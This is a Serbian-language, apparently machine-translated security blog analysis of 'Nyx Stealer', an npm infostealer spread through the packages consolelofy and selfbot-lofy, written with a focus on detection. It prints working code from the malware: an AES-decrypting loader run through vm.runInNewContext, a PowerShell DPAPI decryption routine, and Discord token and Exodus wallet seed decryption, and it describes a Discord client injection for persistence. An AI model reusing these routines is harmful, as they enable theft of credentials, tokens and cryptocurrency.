ТЛ; ДР
Xygeni истраживачки тим за безбедност идентификовао је софистицирану кампању крађе информација помоћу npm-а која се испоручује путем два злонамерна пакета: конзолелофи selfbot-lofy.
Најновија верзија (consolelofy@1.3.0) уграђује AES-шифровани корисни терет од 216KB који се дешифрује током извршавања и извршава путем vm.runInNewContext()Пошто је злонамерна логика потпуно шифрована, статички скенери који се ослањају на инспекцију низова не могу да посматрају њено понашање све до времена извршавања.
Једном дешифрован, корисни терет, интерно брендиран Крадљивац Никс, циљеви:
- Токени за аутентификацију на Discord-у
- 50+ складишта акредитива прегледача
- 90+ екстензија за криптовалутни новчаник
- Сесије на Roblox-у, Instagram-у, Spotify-у, Steam-у, Telegram-у и TikTok-у
- Упорност Discord десктоп клијента
Свих 20 верзија у оба пакета је пријављено и потврђено је да су злонамерне.
Технички преглед овог npm инфостеала
За разлику од традиционалног злонамерног софтвера који се инсталира током инсталације, ова кампања се ослања на Рунтиме модел дешифровања.
Постоје:
- Без злонамерних
preinstallorpostinstallhooks - Нема очигледних мрежних позива током инсталације
- Нема логике за прикупљање акредитива у отвореном тексту
Корисни терет се активира када се модул увезе. Читаво злонамерно тело је шифровано и материјализује се у меморији тек током извршавања програма.
Овај дизајн посебно избегава откривање током инсталације пакета.
Како се овај npm инфостеалер заправо извршава
Пре него што анализирамо шта Nyx Stealer краде, морамо разумети како се извршава.
Злонамерна логика унутар овог npm крадљивца информација прати доследан образац:
Мали програм за учитавање дешифрује велики шифровани корисни терет и динамички га извршава унутар контекста виртуелне машине Node.js.
Овај дизајн је намерно урађен. Нападач не крије функционалност само иза замагљивања, већ потпуно уклањање злонамерног кода из статичке видљивости.
Модел извршења високог нивоа
На високом нивоу, омотач ради четири ствари:
- Изводи AES кључ из чврсто кодиране лозинке користећи SHA-256
- Дешифрује велики хексадецимално кодирани шифровани текст користећи AES-256-CBC
- Извршава дешифровани Јаваскрипт користећи
vm.runInNewContext() - Пружа песковник који и даље открива моћне примитиве током извршавања
Резиме основне технике
| Саставни | Конфигурација / Вредност |
|---|---|
| Алгоритам | АЕС-256-ЦБЦ |
| Извођење кључа | SHA-256 (лозинка) |
| Вектор иницијализације (IV) | 16 бајтова од 0x00 |
| Извршење | vm.runInNewContext(дешифровано, песковито окружење) |
Критично је да песковник пролази кроз:
requireprocessBuffer- времена
- извоз модула
То значи да дешифровани корисни терет задржава пуну могућност да:
- Процеси мрешћења
- Читање и писање датотека
- Обављајте мрежне позиве
- Измените локалне апликације
Ово није ограничена виртуелна машина. То је виртуелна машина која се користи као трамболина за извршење.
Шаблон шифровања током извршавања (језгрови механизам извршавања)
Утоваривач је мали.
Злонамерно тело није.
Испод је образац извршења који се налази унутар пакета:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Зашто Ова Маттерс
Дешифровани корисни терет:
- Да ли не постоје у отвореном тексту унутар npm пакета
- Невидљиво је за једноставно
grepили статичко скенирање низова - Материјализује се у меморији само током извршавања
- Извршава се са пуним могућностима извршавања Node-а
Ова комбинација извршавања AES + VM је снажан индикатор понашања npm крађа информација покушава да избегне статичку инспекцију.
Другим речима:
Ако скенирате стабло изворног кода пакета, нећете видети крадљивца.
Видите дешифратор.
Шта се дешава након дешифровања
Једном извршен, Nyx Stealer покреће паралелне таласе прикупљања података.
Талас 1: Издвајање акредитива прегледача
Злонамерни софтвер:
- Преузима Python runtime са NuGet CDN-а
- Инсталира криптографске библиотеке
- Издваја складишта акредитива заснована на Chromium-у
- Дешифрује DPAPI-јем заштићене тајне
Уместо компајлирања изворних веза, користи PowerShell за директно позивање Windows DPAPI-ја.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Овај приступ:
- Избегава артефакте компилације
- Користи изворне Windows крипто API-је
- Уклапа се у административне алате
То је дешифровање акредитива на нивоу ОС-а, а не скрапинг.
Талас 2: Дешифровање Discord токена
Крадљивац је свестан протокола. Разуме Дискордов шифровани формат токена.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Оперативни ток:
- Извуците главни кључ из Дискорда
Local State - Дешифрујте главни кључ путем DPAPI-ја
- Дешифрујте AES-GCM токен блобове
- Валидирајте токене помоћу Discord API-ја
- Обогатите се Нитром, значкама, информацијама о плаћању
Ово није генеричко дамповање акредитива. То је отмица сесије у складу са протоколом.
Талас 3: Циљање криптовалутних новчаника
npm инфостеалер набраја:
- 90+ екстензија за новчанике прегледача
- 27 десктоп новчаника
- Путање хладних новчаника
- Exodus seed датотеке
Пример покушаја дешифровања семена:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Ако буде успешно, компромитовање новчаника је тренутно и неповратно.
Ово представља вектор монетизације кампање са највећом вредношћу.
Истрајност путем убризгавања на Дискорд радну површину
Након прикупљања акредитива, Nyx Stealer покушава да обезбеди перзистенцију модификовањем локалних Дискорду купац.
cilj:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Оперативни редослед
Инфотејлер извршава следеће кораке:
- Завршава покренуте Discord процесе
- Проналази инсталиране варијанте Дискорда (Стабле, Канарски, ПТБ)
- Преписује
discord_desktop_core/index.js - Убризгава логику вебхука коју контролише нападач
- Поново покреће Discord
Ово осигурава да будуће Дискорд сесије аутоматски цуре нове токене за аутентификацију.
Важно је напоменути да ова истрајност не зависи од заказаних задатака или измена регистра. Користи модификацију кода на нивоу апликације, што је прикривенији приступ.
Чак и ако се злонамерни npm пакет касније уклони, Discord клијент остаје угрожен.
Техничко поређење: Легитимни селфбот наспрам нпм крађе информација
| Саставни | Легитимна библиотека | Никс НПМ Инфостејлер |
|---|---|---|
| Шифровање | ниједан | Потпуно AES-шифровани корисни терет |
| Виртуелна машина током извршавања | Није потребна | vm.runInNewContext извршење |
| Приступ акредитива | Само Discord API | Прегледач, новчаници, DPAPI |
| Спољна преузимања | Не | Извршавање Пајтона преко НуГета |
| Истрајност | Не | Инјекција Discord клијента |
| Монетизација | Аутоматизација ботова | Препродаја акредитива |
Сам слој шифровања већ одваја ову кампању од типичног форка отвореног кода.
Легитиман Discord selfbot нема разлога да шифрује целу своју кодну базу, покреће PowerShell за приступ DPAPI-ју, преузима екстерне runtime-ове или мења унутрашњост десктоп апликација. Када се те могућности појаве унутар зависности која тврди да аутоматизује Discord интеракције, архитектонско неслагање постаје немогуће игнорисати.
Са становишта истраге, овај npm крађа информација оставља трагове на више слојева. Међутим, најпоузданији индикатори нису чврсто кодирани URL-ови или одређене путање датотека, јер се они могу мењати између верзија. Уместо тога, трајни сигнали су структурни.
На нивоу пакета, најјача црвена заставица је комбинација великог шифрованог корисног оптерећења и омотача за дешифровање током извршавања који се одмах извршава путем vm.runInNewContext()Иако само шифровање није инхерентно злонамерно, коришћење AES дешифровања праћено динамичким извршавањем виртуелне машине унутар Discord услужног пакета је веома аномалија.
На нивоу хоста, сумњиви обрасци укључују неочекивану активност дешифровања DPAPI-ја, покретање процеса из контекста зависности Node.js-а и модификацију локалних датотека апликације које библиотеке трећих страна никада не би требало да мењају. Слично томе, на мрежном слоју, одлазна комуникација у стилу вебхука коју покреће зависност развоја представља још једну значајну аномалију.
Другим речима, површина детекције није једини индикатор компромитовања. То је корелација шифровања, извршавања током рада, приступа акредитивима и понашања упорности која открива претњу.
Детекција и ублажавање помоћу Xygeni-ја
Овај npm крађа информација је идентификован од стране Xygeni-јево рано упозорење о злонамерном софтверу (MEW) кроз слојевиту корелацију понашања, а не кроз једноставно подударање потписа.
Уместо тражења познатих злонамерних низова, MEW процењује структурне аномалије у целом изворном стаблу. У овом случају, детекција је произашла из конвергенције неколико сигнала: уграђене AES рутине за дешифровање у улазној тачки модула, тренутног извршавања унутар контекста виртуелне машине и јасног неслагања између могућности и намере.
Важно је напоменути да ниједан од ових сигнала сам по себи не доказује злонамерну намеру. Међутим, када се анализирају заједно, откривају покушај прикривања понашања током извршавања. Овај слојевити приступ значајно смањује лажно позитивне резултате, а истовремено идентификује претње ланцу снабдевања са високом поузданошћу.
Штавише, овај случај илуструје зашто сама инспекција у време инсталације није довољна. Злонамерна логика се не налази у скриптама животног циклуса. Активира се тек након што се модул учита и постаје видљива тек након дешифровања у меморији. Стога, ефикасна одбрана захтева анализу свесну шифровања, препознавање образаца понашања и континуирано праћење зависности и након инсталације.
Уклањање регистра је реактивно. Анализа током извршавања је превентивна.
Зашто је овај npm крађа информација важна
Nyx Stealer представља структурну еволуцију злонамерног софтвера заснованог на npm-у.
Историјски гледано, многи злонамерни пакети су се ослањали на видљиве скрипте током инсталације или очигледне крајње тачке за крађу акредитива. Насупрот томе, ова кампања шифрује свој корисни терет, одлаже извршење до времена извршавања, користи легитимне API-је оперативног система и успоставља перзистентност унутар поузданих апликација.
Сходно томе, нападач не мора да искористи саму npm инфраструктуру. Уместо тога, напад успева јер инсталација зависности подразумева поверење. Програмери претпостављају да је увоз библиотеке безбедна операција, посебно када се она представља као вероватна форк популарног алата.
Како екосистеми настављају да расту и форкови се шире, та имплицитна граница поверења постаје све атрактивнија површина за напад. Стога, одбрана од модерних крађа информација о npm-у захтева препознавање архитектонских образаца, а не тражење статичких стрингова.
На крају крајева, ова кампања појачава кључну лекцију у software supply chain securityНајопасније претње нису оне које на први поглед изгледају злонамерно, већ оне које делују структурно легитимно док се током извршавања програма не открије њихово право понашање.




